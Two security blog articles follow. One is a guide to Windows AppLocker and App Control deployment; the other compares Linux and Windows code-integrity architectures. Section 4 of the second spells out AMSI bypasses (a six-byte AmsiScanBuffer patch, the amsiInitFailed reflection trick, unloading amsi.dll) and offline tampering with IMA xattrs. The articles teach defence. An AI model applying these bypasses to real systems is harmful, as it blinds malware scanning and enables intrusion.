flowchart TD Q1{"Need per-user rules and no PKI?"} Q2{"Need admin-resistant boundary?"} Q3{"Have managed software distribution?"} Q4{"Have long tail of unmanaged apps?"} Q5{"Consumer or unmanaged device?"} AL["AppLocker (with AaronLocker)"] ACSigned["App Control for Business
signed policy + HVCI"] ACMI["Add Managed Installer rule"] ACISG["Add ISG signal (additive)"] SAC["Smart App Control"] Nothing["No application control"] Q1 -- yes --> AL Q1 -- no --> Q2 Q2 -- yes --> ACSigned Q2 -- no --> Q5 ACSigned --> Q3 Q3 -- yes --> ACMI Q3 -- no --> Q4 ACMI --> Q4 Q4 -- yes --> ACISG Q4 -- no --> Done["Deployment complete"] ACISG --> Done Q5 -- consumer --> SAC Q5 -- enterprise unmanaged --> Nothing

The actual deployment knobs.

Scope	GPO node	PowerShell cmdlet inventory	CSP / MDM path
AppLocker	Computer Configuration -> Windows Settings -> Security Settings -> AppLocker	`Get-AppLockerPolicy`, `Set-AppLockerPolicy`, `Test-AppLockerPolicy`, `New-AppLockerPolicy`	AppLocker CSP (maintenance only) [@ms-applicationcontrol-csp]
App Control for Business	Computer Configuration -> Administrative Templates -> System -> Device Guard	`New-CIPolicy`, `Merge-CIPolicy`, `ConvertFrom-CIPolicy`, `Set-CIPolicySetting`, `Set-CIPolicyVersion`, `Add-SignerRule` (`ConfigCI` module)	ApplicationControl CSP [@ms-applicationcontrol-csp]; Intune endpoint security UX [@ms-intune-app-control]
App Control Wizard	n/a	Wraps `ConfigCI` cmdlets [@ms-appcontrol-wizard]	n/a (MSIX desktop app)
Server 2025 default policy	OSConfig PowerShell cmdlets [@techcommunity-osconfig-server-2025]	OSConfig	n/a

The Intune deployment surface is the ApplicationControl CSP [@ms-applicationcontrol-csp], not the older AppLocker CSP. Microsoft is explicit that new App Control feature work lands in ApplicationControl only. The Intune endpoint-security UX path [@ms-intune-app-control] sits on top of that CSP.

Note: The single most-skipped step in production App Control deployments is the merge of the Microsoft Recommended Block Rules [@ms-appcontrol-bypass] and the Vulnerable Driver Blocklist [@ms-driver-block-rules] into the active policy. Without them, "allow all Microsoft-signed code" admits cdb.exe, csi.exe, dnx.exe, msbuild.exe, mshta.exe, dotnet.exe, and the rest of the LOLBin catalogue. With them, you have the configuration the MSRC servicing criteria treat as a security boundary. The merge is two Merge-CIPolicy invocations and a redeploy.

Note: The App Control for Business GPO node is still labelled Device Guard in gpedit.msc, even on Windows 11 24H2. Microsoft Learn calls this out explicitly [@ms-appcontrol-applocker-overview]: "The terms 'Device Guard' and 'configurable code integrity' are no longer used with App Control except when deploying policies through Group Policy." The naming confusion is the GPO tree's, not yours.

{` // Pseudocode walk of the App Control authoring path. The real cmdlets // run in PowerShell on a Windows host with the ConfigCI module installed; // this is the logic so you can mentally simulate the flow.

const baseXml = NewCIPolicy({ scanPath: 'C:\\Windows', level: 'SignedVersion', fallback: ['Hash'], filePath: 'BasePolicy.xml', });

const blockRulesXml = downloadAndImport( 'recommended-block-rules-policy', );

const driverBlockXml = downloadAndImport( 'vulnerable-driver-blocklist', );

const merged = MergeCIPolicy({ inputs: [baseXml, blockRulesXml, driverBlockXml], output: 'Production.xml', });

SetCIPolicySetting({ provider: 'SiPolicy', key: 'PolicyInfo', valueName: 'Information', value: 'Contoso Production Policy v1', policyPath: merged, });

const binaryCip = ConvertFromCIPolicy({ inputXml: merged, binaryFilePath: 'Production.cip', });

// Sign Production.cip with the organisation's code-signing certificate // before dropping it into: // %SystemRoot%\\System32\\CodeIntegrity\\CiPolicies\\Active\\ // then reboot to seal the trusted signer set. console.log('Production policy authored and ready for signing'); `}

Regulatory anchors. NIST SP 800-167 [@nist-sp-800-167] on application allowlisting is the federal framing. The ACSC Essential Eight [@acsc-essential-eight-appcontrol] treats application control as one of eight baseline mitigations and is explicit that "the use of file names, package names or any other easily changed application attribute is not considered suitable as a method of application control" -- a structural exclusion that maps cleanly onto Authenticode-signer and hash rules but rules out an AppLocker policy built primarily on path. PCI DSS v4.0.1 [@pci-document-library] requires comparable controls for cardholder environments. The article does not work through any of them in depth; the citations are here so a practitioner can find their own compliance map.The Wayback-preserved 2017 Device Guard policy deployment guide [@ms-deploy-ci-wayback] is the canonical historical reference for the pre-1709 era, before the WDAC rename. Practitioners maintaining older infrastructure occasionally need it.

The AppLocker MMC wizard does not create default rules automatically. If you enable enforcement on a collection with zero rules, the collection's *default behaviour* is to **deny everything that matches the collection**. An enforcing Executable collection with no rules blocks every `.exe` on the device, including the ones Windows needs to boot useful applications. The wizard surface has an *Automatically generate rules* button precisely to avoid this footgun; the AaronLocker authoring path bakes the default rules in from the start. If you have ever seen a Windows session that suddenly cannot launch anything after a GPO refresh, this is the most common cause.

The decision tree is operational. The remaining job is to inoculate against the misconceptions the field has accumulated over twenty-five years. That is the FAQ.

15. FAQ -- Misconceptions and Corrections

The application-control literature has accumulated eight common misconceptions over twenty-five years. Each one is corrected below with the primary source that settles the question.

Not in the threat-modelling sense. Microsoft Learn states directly that AppLocker *"helps to prevent end-users from running unapproved software on their computers, but doesn't meet the servicing criteria for being a security feature"* [@ms-appcontrol-applocker-overview]. AppLocker is operational hygiene against non-admin users running unapproved binaries. An attacker who has reached administrator or `SYSTEM` can stop the `AppIDSvc` service and end enforcement [@ms-applocker-architecture]. If your threat model includes an admin-equivalent attacker, AppLocker is not the right control; App Control for Business with a signed policy and HVCI on is. No. App Control for Business is the current name for what was called Windows Defender Application Control from 2017 to 2024, which was called Configurable Code Integrity under the Device Guard umbrella from 2015 to 2017. Same kernel CI code path, three brand eras [@ms-appcontrol-applocker-overview] [@ms-blog-introducing-wdac-2017] [@github-wdac-toolkit-issue-411]. The rename in 2024 with Windows 11 24H2 and Server 2025 is brand management; the cmdlets and the policy XML schema are unchanged. No. You sign the policy with the **deploying organisation's** code-signing certificate -- typically an internal PKI leaf, with the private key on a hardware token or in a sealed vault [@ms-appcontrol-applocker-overview]. The application publisher's certificate is what the policy *evaluates against* at image-load time (signer rules in the policy reference publisher subjects). The two are entirely different roles. A common misreading is to assume that *"signed policy"* means *"policy that allows signed apps"* -- it does not. *Signed policy* means the `.cip` file itself carries a signature that prevents a `SYSTEM` attacker from removing or replacing it. No. ISG is a reputation classifier, not a list. Microsoft Learn states verbatim [@ms-appcontrol-isg]: *"The ISG isn't a 'list' of apps. Rather, it uses the same vast security intelligence and machine learning analytics that power Microsoft Defender SmartScreen and Microsoft Defender Antivirus to help classify applications as having 'known good,' 'known bad,' or 'unknown' reputation."* When an App Control policy is configured with ISG enabled, ISG's *known good* verdict acts as an additive allow signal alongside the policy's explicit signer / hash / path / Managed Installer rules. **No such feature exists.** A search of Microsoft Learn produces zero results for *ITL* or *Intelligent Trusted List*; URLs cited by AI summaries return 404; and the definitions offered by AI summaries contradict each other. The closest real Microsoft features are the Intelligent Security Graph [@ms-appcontrol-isg], the Microsoft Recommended Block Rules [@ms-appcontrol-bypass], and Smart App Control [@ms-smart-app-control]. If you see *ITL* in a security blog or AI-generated summary, treat it as a fabrication and ignore it. No. **AaronLocker** is Aaron Margosis's *deployment tool* [@github-aaronlocker]. It is a PowerShell-based generator that authors thorough audit and enforce policies for AppLocker and App Control. The canonical AppLocker *bypass* catalogue is Oddvar Moe's `UltimateAppLockerByPassList` [@github-ultimateapplockerbypass]. The canonical App Control bypass catalogue is Jimmy Bayne's `bohops/UltimateWDACBypassList` [@github-ultimatewdacbypass]. Microsoft's own bypass list is the *Applications that can bypass App Control* page [@ms-appcontrol-bypass]. Four different artefacts, four different roles. The enforcement engine is approximately the same (both run inside `ci.dll`), but SAC is a categorically different product: unmanaged, all-or-nothing, ISG-gated, and capable of silently auto-disabling [@ms-smart-app-control]. SAC has no per-app policy authoring surface, no GPO, no Intune integration. Enterprise-managed devices keep SAC off [@ms-support-sac-faq]. And contrary to older blog posts, SAC can be re-enabled without a clean Windows install on current Windows versions: *"Recent Windows updates allow Smart App Control to be re-enabled without requiring a clean installation"* [@ms-support-sac-faq]. The vocabulary is *evaluation mode*, not *audit mode*. No -- not in any sense Microsoft would recognise. As of February 2, 2026, AppLocker is not on the *Deprecated features in the Windows client* page [@ms-deprecated-features]. Microsoft Learn does say AppLocker *"isn't getting new feature improvements"* and that it *"doesn't meet the servicing criteria for being a security feature"* [@ms-appcontrol-applocker-overview], but it also says AppLocker *"continues to receive security fixes"* -- and the October 2024 KB5044288 cumulative update confirms that claim with a concrete AppLocker servicing fix [@ms-kb-5044288]. The defensible characterisation is *feature complete, not actively developed, continues to receive security fixes* -- not *deprecated*.

The thesis was the article's first sentence: two locks on the same door, two threat models, not redundancy. AppLocker is operational hygiene, the user-mode evaluator Microsoft itself declines to call a security feature. App Control for Business -- with a signed policy, HVCI on, and the Recommended Block Rules merged in -- is the MSRC security boundary. Both ship in Windows 11 24H2 and Server 2025 because neither is a strict superset of the other, and the practitioner gets to choose, per deployment, which lock the door needs. For deeper treatment of the cryptographic plumbing, see the companion Authenticode article; for the HVCI / VTL story, see the companion WDAC + HVCI article; for the BYOVD residual in section 13, see the companion Driver Signing article. The line between security feature and operational hygiene control is sharp in Microsoft's own words -- and the two products defending that line will both keep shipping until the line itself moves.

Two Routes to Code Integrity: Linux IMA + AppArmor vs Windows WDAC + AMSI

noreply@paragmali.com (Parag Mali) — Sat, 16 May 2026 00:00:00 GMT

Linux and Windows have spent fifteen years answering the same question -- "is this code allowed to run?" -- and arrived at radically different architectures. Linux composes half a dozen narrow kernel modules (IMA, EVM, AppArmor, SELinux, fs-verity, IPE) plus a userspace daemon (`fapolicyd`); Windows ships one integrated suite (App Control + HVCI + AMSI + Smart App Control). Both stacks shipped their v1 with the **check in the wrong place**, and the architectural pivots that fixed it -- EVM's HMAC-sealed xattrs, HVCI's hypervisor-isolated verifier, IPE's property-based decisions -- are the breakthrough lesson of this comparison. Crypto is solved. Trust-boundary protection and policy expressiveness are not, and Rice's theorem says they never fully will be.

1. Two bypasses, same architectural shape

On a Windows 11 desktop, an attacker with a PowerShell session under their control can blind Microsoft Defender to every script that session ever evaluates by overwriting six bytes inside one function in amsi.dll. The Antimalware Scan Interface, the in-process bridge between scripting hosts and the registered antivirus product, dutifully reports "clean" on every subsequent buffer because the prologue of AmsiScanBuffer has been patched to mov eax, 0; ret (B8 00 00 00 00 C3).

The interface ships exactly as Microsoft documents it, and the function still has the signature in MSDN [@learn-microsoft-com-amsi-amsiscanbuffer]: the attacker did not need to break anything. They needed only to write into the address space they already owned.

On a Linux server, a different attacker with offline access to the disk -- recovered from a stolen laptop, a forensics image, a hostile cloud-provider snapshot -- mounts the filesystem and rewrites a system binary together with the file's security.ima extended attribute. When the box boots, the kernel's Integrity Measurement Architecture hashes the binary at exec time, compares the hash to the value stored in security.ima, sees a match, and allows execution. Without the Extended Verification Module, IMA appraisal has no defence against this offline-rewrite attack [@lwn-net-articles-394170] -- the reference hash is sitting next to the file the attacker just replaced.

Both operating systems claim fail-closed code-integrity enforcement. Both lose to a single architectural mistake about where the check runs. The mistakes are different in detail and identical in shape: the verifier is reachable by the attacker. On Windows the attacker shares the script host's address space with the scanner. On Linux the attacker shares the on-disk container with the reference hash.

This article exists to make that symmetry visible. The two stacks reached their 2026 form by very different routes -- Linux composes six narrow Linux Security Modules and one userspace daemon, Windows ships one tightly-coupled product line -- but the breakthroughs on each side answered the same question: how do you move the verifier out of reach?

The Linux answer was EVM (HMAC the extended attributes that IMA depends on) and IPE (decide on immutable file properties rather than file contents). The Windows answer was HVCI (lift the kernel-mode code-integrity check into a hypervisor-isolated secure kernel). The names are different. The lesson is one.

Why did Linux and Windows arrive at such different architectures in the first place? That story starts in an IBM research lab in 2003.

2. The question both operating systems are trying to answer

Both lineages exist to answer one question -- "is this code allowed to run?" -- but they put the check in completely different places. Before we can compare them honestly, we need a shared vocabulary for the three layers any production code-integrity stack must cover.

The first layer is code integrity itself, often abbreviated CI: a gate on the file's content or its signer. Did this .so come from a package my distribution signed? Does this .exe match an Authenticode chain rooted in a publisher my policy trusts? The answer is binary. The hook fires before the process loads the bytes.

The second layer is mandatory access control, or MAC. Now the process is running. What can it do? Can nginx open /etc/shadow? Can mshta.exe spawn cmd.exe? MAC is enforced by the kernel above discretionary access control and cannot be overridden by userspace privileges.

A kernel-enforced policy layer above traditional discretionary access control (DAC). Unlike DAC, where the file owner sets permissions, MAC policy is set by the system administrator and applied uniformly to all processes; no user, including root, can override it without changing the policy itself.

The third layer is content inspection: gating not on the file but on the buffer the interpreter is about to evaluate. The PowerShell engine has just deobfuscated a long string into a script block. Is the script block malicious? Linux has no production equivalent. Windows ships AMSI [@learn-microsoft-com-interface-portal] for exactly this.

Where each operating system puts these checks tells you almost everything about its architectural philosophy.

Linux puts every check on a Linux Security Module hook [@kernel-org-security-lsmhtml]. IMA registers at bprm_check (the kernel hook that fires when a binary is about to be executed), file_mmap with MAY_EXEC, module_check, firmware_check, and kexec_*. AppArmor and SELinux register at the syscall-level access hooks. fapolicyd rides on top of fanotify. IPE hooks op=EXECUTE. The kernel is the trust boundary, and every mechanism is a polite tenant inside it.

The kernel framework, merged into Linux 2.6.0 in December 2003, that hosts pluggable security modules at well-defined hook points in the kernel. LSMs include SELinux, AppArmor, Smack, Tomoyo, IMA, EVM, IPE, BPF LSM, and Landlock; multiple modules can coexist via "LSM stacking".

Windows takes the opposite path. The PE loader is the gate for user-mode code integrity (UMCI). The kernel-mode code-integrity check is, in the modern stack, moved out of the normal kernel into a small secure kernel running on top of Hyper-V -- Hypervisor-protected Code Integrity, HVCI [@learn-microsoft-com-code-integrity]. The script broker runs in-process with each scripting host. Cloud reputation is consulted via the Intelligent Security Graph and exposed to consumers as Smart App Control.

A monotonically extendable hash register inside a Trusted Platform Module. New measurements are folded in with `PCR_new = SHA256(PCR_old || measurement)`. Once extended, the value cannot be rolled back without resetting the TPM. IMA extends file-content hashes into PCR 10; the Windows Measured Boot chain uses PCRs 0-7 and 11-14.

The architectural philosophy comes down to a sentence each. Linux trusts the kernel surface and packs every integrity mechanism into it as a separate LSM. Windows trusts a hypervisor-isolated secure kernel and uses it to host the integrity logic the normal kernel cannot be trusted to run honestly.

flowchart LR subgraph CI[Code integrity: gate on file content or signer] direction TB L_IMA[Linux: IMA + EVM] L_IPE[Linux: IPE] L_FSV[Linux: fs-verity] L_FAP[Linux: fapolicyd] W_WDAC[Windows: App Control / WDAC] W_HVCI[Windows: HVCI / Memory Integrity] W_SAC[Windows: Smart App Control] end subgraph MAC[Mandatory access control: gate on running process behaviour] direction TB L_AA[Linux: AppArmor] L_SE[Linux: SELinux] W_NONE[Windows: no direct analogue, closest is AppContainer / ASR] end subgraph CS[Content inspection: gate on the buffer the interpreter will evaluate] direction TB W_AMSI[Windows: AMSI] L_GAP[Linux: no production equivalent] end CI --> MAC --> CS

Neither stack started this way. The 2026 stack on each side is the accumulated answer to fifteen years of failures. Here is how they grew up.

3. Two genesis stories

In 2003, four IBM researchers at the T. J. Watson Research Center -- Reiner Sailer, Xiaolan Zhang, Trent Jaeger, and Leendert van Doorn -- tried to convince the USENIX Security community that you could prove the integrity of a Linux web server to a remote verifier. Their paper, Design and Implementation of a TCG-based Integrity Measurement Architecture [@usenix-org-tech-sailerhtml], shipped at the 13th USENIX Security Symposium in 2004. It proposed hashing every executable file at load time, extending each hash into a TPM platform configuration register, and sending the resulting measurement list to a remote verifier who could compare it to a known-good manifest.

The performance evaluation [@usenix-org-sailerhtml-node19html] measured the cost on an IBM Netvista with a 2.4 GHz Pentium 4: the file_mmap LSM hook added 0.08 microseconds per call on a cache hit, and SHA-1 fingerprinting ran at roughly 80 MB/s. The headline claim was that more than 99.9% of measure calls landed on the cached path, so the overhead was essentially free.Pentium 4-era SHA-1 at 80 MB/s vs Ice Lake-era SHA-NI-accelerated SHA-256 at roughly 2 GB/s per core: a 25x throughput jump in twenty years. The original paper's qualitative finding -- cache hit dominates, overhead is negligible -- holds even more strongly on modern silicon.

It took five years for that proposal to reach the kernel. IMA's measurement-only mode was merged in Linux 2.6.30 in June 2009. It hashed files at bprm_check, file_mmap, and module_check, extended TPM PCR 10, and otherwise let everything run.

The "is this hash allowed?" question would have to wait three more years. The Extended Verification Module landed in Linux 3.2 in January 2012; digital-signature mode for EVM followed in 3.3 in March 2012; and IMA-appraise, the enforcement extension that finally let the kernel return -EPERM when a file's hash did not match security.ima, merged in Linux 3.7 in December 2012 [@lwn-net-articles-488906]. The same LWN article frames the cadence plainly: "Much of IMA was added to the kernel in 2.6.30, but another piece, the extended verification module (EVM) was not merged until 3.2 ... Digital signature support was added to EVM in 3.3, and IMA appraisal is currently under review." Mimi Zohar's appraisal patchset [@lwn-net-articles-487700] is the canonical lore.kernel.org artifact of that final step.

AppArmor took a different, longer road. It was born inside Immunix in 1998 under the name "SubDomain", a path-based confinement layer designed to stop privilege-escalation exploits from doing anything the binary's profile did not name. Novell acquired Immunix in 2005, renamed SubDomain to AppArmor, and shipped it as the default mandatory access control layer on SLES and openSUSE. According to the Ubuntu AppArmor wiki [@wiki-ubuntu-com-apparmor], "AppArmor support was first introduced in Ubuntu 7.04, and is turned on by default in Ubuntu 7.10 and later" -- so by October 2007 AppArmor was already a default-on production MAC on the most-deployed Linux desktop distribution.

Mainlining did not happen until October 2010, when AppArmor finally landed in Linux 2.6.36 [@docs-kernel-org-lsm-apparmorhtml]. Seven years out of tree, three years default-on in Ubuntu, before the kernel community accepted it.

The contrast with SELinux [@en-wikipedia-org-security-enhancedlinux] is sharp. SELinux merged into Linux 2.6.0 in December 2003 -- barely a year after the LSM framework was created. SELinux was, in fact, the reason the LSM framework existed.

SELinux's type-enforcement model maps directly to LSM's "label the subject, label the object, look up the rule" hook signature. AppArmor's path-based reasoning does not. LSM hooks see inodes, not paths -- and an inode can be reached from many paths (bind mounts, hard links, namespace games, chroots). To merge, AppArmor had to push kernel-side helpers like `vfs_path_lookup` and `d_absolute_path` upstream so it could reconstruct the absolute path of the object at hook time. The conceptual fight took three rejected merge attempts and seven years. The lesson is one Linux kernel reviewers have repeated since: a security model is not just an algorithm, it is a commitment to a particular kind of name-resolution semantics.

The Windows lineage starts in a different building entirely. AppLocker shipped with Windows 7 and Windows Server 2008 R2 in 2009: a user-mode-only allowlist, with no hypervisor or kernel-mode backing, and rules tied to file paths, publishers, or hashes. AppLocker is still supported on modern Windows but "isn't getting new feature improvements" [@learn-microsoft-com-applocker-overview]; the modern successor is App Control for Business.

Windows 10 RTM (version 1507, July 2015) shipped the first version of Device Guard along with AMSI [@learn-microsoft-com-interface-portal] and PowerShell 5.0, which integrated with AMSI from day one. Device Guard became known as Windows Defender Application Control (WDAC) and then, in 2024, was renamed once more to App Control for Business. User-mode code integrity (UMCI) became a policy option, FilePath rules were added in Windows 10 version 1903 [@learn-microsoft-com-applocker-overview], multiple-policy authoring landed in the same release, and Smart App Control made its consumer debut in Windows 11 22H2 in September 2022 [@blogs-windows-com-2022-update].

gantt title Linux and Windows code-integrity timeline dateFormat YYYY-MM axisFormat %Y section Linux SELinux mainline 2.6.0 :2003-12, 12M AppArmor at Immunix :1998-01, 84M AppArmor default in Ubuntu :2007-10, 36M IMA mainline 2.6.30 :2009-06, 32M EVM mainline 3.2 :2012-01, 2M EVM digital sigs 3.3 :2012-03, 9M IMA-appraise 3.7 :2012-12, 24M AppArmor mainline 2.6.36 :2010-10, 14M fs-verity 5.4 :2019-11, 60M IPE 6.12 :2024-11, 12M section Windows AppLocker (Win 7) :2009-10, 70M Device Guard + AMSI + PowerShell 5 (1507) :2015-07, 25M WDAC UMCI (1709) :2017-10, 18M FilePath rules + multi-policy (1903) :2019-05, 24M HVCI broadens (Win 10 1607+) :2016-08, 60M Smart App Control (Win 11 22H2) :2022-09, 24M App Control for Business rename :2024-01, 12M

Two timelines, two design philosophies, both shipping their v1 with the same kind of mistake. The next section makes that concrete.

4. Where the naive approach breaks

Both stacks shipped their first version with the check in the wrong place. Two stories make this concrete; two more refine it.

Story A: IMA-as-shipped (2009) without EVM

When IMA reached the kernel in Linux 2.6.30, it hashed the file at bprm_check and stored the reference hash in the file's security.ima extended attribute. That is what an attacker with offline disk access needs to defeat the check, and exactly nothing else. Mount the filesystem from another box, swap the binary for a malicious one, recompute the SHA over the new binary, write the new value into security.ima. Boot the box. The kernel hashes the malicious binary at exec, reads the matching xattr the attacker just wrote, and lets the syscall through.

This is the offline-tampering attacker model EVM was designed to defeat. The contemporaneous LWN coverage put it plainly: "IMA can be subverted by 'offline' attacks, where file data or metadata is changed out from under IMA. Mimi Zohar has proposed the extended verification module (EVM) patch set as a means to protect against these offline attacks." [@lwn-net-articles-394170]

The EVM v5 patchset [@lwn-net-articles-443038], posted by Zohar in May 2011, describes the design directly: "Extended Verification Module (EVM) detects offline tampering of the security extended attributes (e.g. security.selinux, security.SMACK64, security.ima) ... initial method maintains an HMAC-sha1 across a set of security extended attributes, storing the HMAC as the extended attribute 'security.evm'."

Story B: AMSI as shipped (2015) inside the script host

AMSI's design is documented in How AMSI helps you defend against malware [@learn-microsoft-com-amsi-helps]: "Script (malicious or otherwise), might go through several passes of de-obfuscation. But you ultimately need to supply the scripting engine with plain, un-obfuscated code. And that's the point at which you invoke the AMSI APIs."

A scripting host -- PowerShell, WSH, MSHTA, Office VBA, the UAC installer dialog -- calls AmsiInitialize, then for every plain-text script buffer it is about to execute calls AmsiScanBuffer [@learn-microsoft-com-amsi-amsiscanbuffer] or AmsiScanString. The call is routed through amsi.dll, loaded into the host process, which dispatches to the registered IAntimalwareProvider COM server. Defender is the default provider.

The detection logic is sound. The trust boundary is not. The attacker already controls the script host. Three single-shot bypass techniques have lived in red-team toolkits since 2016:

Patch AmsiScanBuffer's prologue in memory to mov eax, 0; ret (B8 00 00 00 00 C3). Six bytes of opcode rewrite, no syscalls required, blinds the scanner permanently for this process.
Set System.Management.Automation.AmsiUtils.amsiInitFailed = true via reflection. PowerShell checks the flag on every scan path and short-circuits.
Unload amsi.dll via FreeLibrary. There is no scanner left to call.

Microsoft tracks this so closely that its own "Applications that can bypass App Control" [@learn-microsoft-com-bypass-appcontrol] deny list calls out the AMSI-bypass-capable versions of system.management.automation.dll by hash. The defender's authoritative list of files-to-block treats specific signed Microsoft DLLs as named threats.The same Microsoft bypass list also enumerates mshta.exe, wscript.exe, cscript.exe, msbuild.exe, Microsoft.Build.dll, windbg.exe, cdb.exe, kd.exe, dotnet.exe, csi.exe, rcsi.exe, addinprocess.exe, wmic.exe, bash.exe, wsl.exe, runscripthelper.exe, and dozens of others -- 40+ entries today, growing whenever a new Microsoft-signed binary turns out to host an attacker-friendly evaluator.

Note: The host process making the AMSI call is the same process the attacker is running in. Any defence-in-depth plan that treats AMSI as a hard control is mis-specified. Treat AMSI as a high-quality telemetry surface feeding Defender for Endpoint and EDR pipelines; budget for the bypass.

{` // In Windows, AMSI scans each plain-text script buffer just before // the scripting engine evaluates it. The scanner lives in amsi.dll, // loaded into the script host process. The attacker who controls // that process can rewrite the function's first few bytes. // // This toy model shows the consequence: once "patched", the scanner // returns CLEAN regardless of input, and the assertion below holds // for every possible payload.

const AMSI_RESULT_CLEAN = 0; const AMSI_RESULT_MALWARE = 32768;

function amsiScanBuffer(buf, patched) { if (patched) return AMSI_RESULT_CLEAN; if (buf.includes("Invoke-Mimikatz")) return AMSI_RESULT_MALWARE; return AMSI_RESULT_CLEAN; }

console.log("Normal mode:"); console.log(" clean payload: ", amsiScanBuffer("Get-Process", false)); console.log(" malicious payload:", amsiScanBuffer("Invoke-Mimikatz", false));

console.log("\nAfter six-byte patch:"); console.log(" clean payload: ", amsiScanBuffer("Get-Process", true)); console.log(" malicious payload:", amsiScanBuffer("Invoke-Mimikatz", true));

// The takeaway: no input ever produces MALWARE once the scanner is patched. // Strengthening AMSI's signature engine cannot fix this. The scanner // must move out of the script host's address space. `}

Story C: WDAC's "trust all Microsoft-signed code" anti-pattern

A WDAC policy that trusts code signed by Microsoft also trusts every binary Microsoft has ever signed. That set includes mshta.exe, wscript.exe, cscript.exe, msbuild.exe, wmic.exe, system.management.automation.dll, and the 40-plus other binaries enumerated on Microsoft's own App Control bypass list [@learn-microsoft-com-bypass-appcontrol]. The LOLBAS community catalogue [@lolbas-project-github-io] widens the field to roughly 200 living-off-the-land binaries with explicit MITRE ATT&CK technique mappings.

The pattern is structural: WDAC grants trust at signer granularity (a chain rooted at "Microsoft Corporation"); attackers exploit at binary granularity (the specific mshta.exe that will happily evaluate an HTA blob containing a PowerShell stager). Any non-trivial WDAC policy must therefore contain explicit hash-level denies for the known-bad versions, and must keep growing those denies as Microsoft ships new signed binaries.

Story D: fapolicyd's permissive-window failure

fapolicyd [@access-redhat-com-fapolicydsecurity-hardening] is the Red Hat userspace allowlister. It sits on the fanotify permission channel and answers "may this open or exec proceed?" against a compiled rule database. It does not have IMA's offline-tampering problem because trust is inherited from the RPM database: "An application is trusted when the system package manager correctly installs it and therefore registered in the system RPM database. The fapolicyd daemon uses the RPM database as a list of trusted binaries and scripts."

What it does have is an operational footgun. Setting permissive=1 "just for troubleshooting" silently disables enforcement. Terminating the daemon causes the kernel to fail open after the fanotify response timeout. The architectural choice -- userspace daemon over kernel-mode hook -- is what makes both failure modes possible.

Key idea: The check was strong. The boundary protecting the check was weak. On IMA-as-shipped the reference hash sat next to the file the attacker rewrote. On AMSI the scanner sat inside the process the attacker controlled. On WDAC the trust grant was wider than the exploitation unit. On fapolicyd the verifier was a userspace process that could be terminated. Four different stacks, four different boundary failures, one identical lesson.

Bypass class	Stack	Concrete example	Root cause
Offline metadata swap	IMA without EVM	Rewrite binary and matching `security.ima` xattr from rescue media	Reference value stored next to the file under attacker control
In-process scanner patch	AMSI in PowerShell	`mov eax, AMSI_RESULT_CLEAN; ret` over `AmsiScanBuffer` prologue	Scanner shares address space with the script host the attacker runs in
Signer-vs-binary mismatch	WDAC Publisher rules	Allow Microsoft-signed code, attacker runs `mshta.exe`	Trust grant is coarser than the exploitable unit
Daemon liveness	fapolicyd	Terminate `fapolicyd` or set `permissive=1`	Verifier is a userspace process with no kernel-rooted backstop

Each of these failures has the same shape: the check was strong, the boundary protecting the check was weak. Both operating systems noticed, and fixed it in 2012 and 2016 in very different ways. Both fixes followed the same principle.

5. The architectural pivots

Both lineages reached the same conclusion at the same time: strengthen the boundary, not the check. Each pivot moved the trust boundary outward, beyond the place the attacker could reach.

EVM (Linux 3.2, January 2012): the xattrs become non-forgeable

The Extended Verification Module computes an HMAC over the security-relevant extended attributes -- security.ima, security.selinux, security.SMACK64, security.apparmor, security.capability -- plus inode metadata (UID, GID, mode, generation), and stores the result in security.evm. The HMAC key is loaded into the kernel keyring at boot, ideally sealed to a TPM 2.0 PCR set so the key is not retrievable except on a machine whose boot state matches the sealing measurement. The kernel keyring documentation for trusted and encrypted keys [@kernel-org-trusted-encryptedhtml] describes the substrate.

An offline attacker with disk access still cannot forge security.evm without the HMAC key. Digital-signature mode (EVM portable signatures, Linux 3.3) gives the same guarantee without any on-box key material. The check did not get cryptographically stronger: HMAC-SHA256 was not new in 2012. What changed was that the reference value the check consults moved from "an xattr next to the file" to "an xattr whose integrity is bound to a key the attacker does not have". Red Hat documents the modern setup in Enhancing security with the kernel integrity subsystem [@access-redhat-com-subsystemsecurity-hardening].

The Linux integrity module that protects the security-relevant extended attributes IMA depends on. EVM computes an HMAC (or digital signature) over the xattr set plus inode metadata and stores it in `security.evm`. Without the EVM key, an offline attacker cannot rewrite a binary and its matching `security.ima` to produce a valid pair. sequenceDiagram participant App as User app participant K as Kernel participant FS as Filesystem participant IMA as IMA participant EVM as EVM participant TPM as TPM keyring App->>K: execve("/usr/bin/foo") K->>IMA: bprm_check hook IMA->>FS: read file bytes IMA->>IMA: compute SHA-256 IMA->>FS: read security.ima xattr IMA->>EVM: verify xattr integrity EVM->>FS: read security.evm and full xattr set EVM->>TPM: HMAC key from keyring (sealed to PCRs) EVM->>EVM: recompute HMAC over xattr set + inode meta alt HMAC matches and IMA hash matches EVM-->>IMA: ok IMA-->>K: allow K-->>App: exec proceeds else mismatch EVM-->>IMA: -EPERM IMA-->>K: deny K-->>App: -EPERM end

IMA-appraise (Linux 3.7, December 2012): from observation to enforcement

The merge cadence on the kernel side is itself part of the story. Measurement-only IMA shipped in 2.6.30 in 2009. EVM merged in 3.2 in January 2012. EVM digital signatures merged in 3.3 in March 2012. IMA-appraise, which finally lets the kernel return -EPERM on a hash mismatch, merged in Linux 3.7 in December 2012 [@lwn-net-articles-488906]. Three and a half years from "we hash files" to "we refuse to run files that fail the hash". The gap was not engineering laziness; it was the time it took to design and merge the boundary-strengthening pieces that made enforcement safe to enable.

HVCI / Memory Integrity (Windows 10 1607, August 2016): the secure kernel

Windows took the equivalent step four years later, but at a different layer. Virtualization-Based Security (VBS) [@learn-microsoft-com-oem-vbs] splits Windows into Virtual Trust Level 0 -- the normal kernel everyone has been writing rootkits for since 1993 -- and Virtual Trust Level 1, a small secure kernel hosted by Hyper-V. The kernel-mode Code Integrity check that gates loading of every driver is moved into VTL1. A VTL0 attacker with full SYSTEM, even one who has loaded a malicious driver, cannot patch the VTL1 verifier; they cannot even read its memory.

Windows' Hyper-V-rooted split that puts a small secure kernel in VTL1, isolated from the normal Windows kernel (VTL0) by the hypervisor. Hypervisor-protected Code Integrity (HVCI), exposed in Windows Settings as "Memory integrity", uses VTL1 to host the kernel-mode code-integrity check, so a VTL0 attacker with SYSTEM cannot patch the verifier or downgrade its policy.

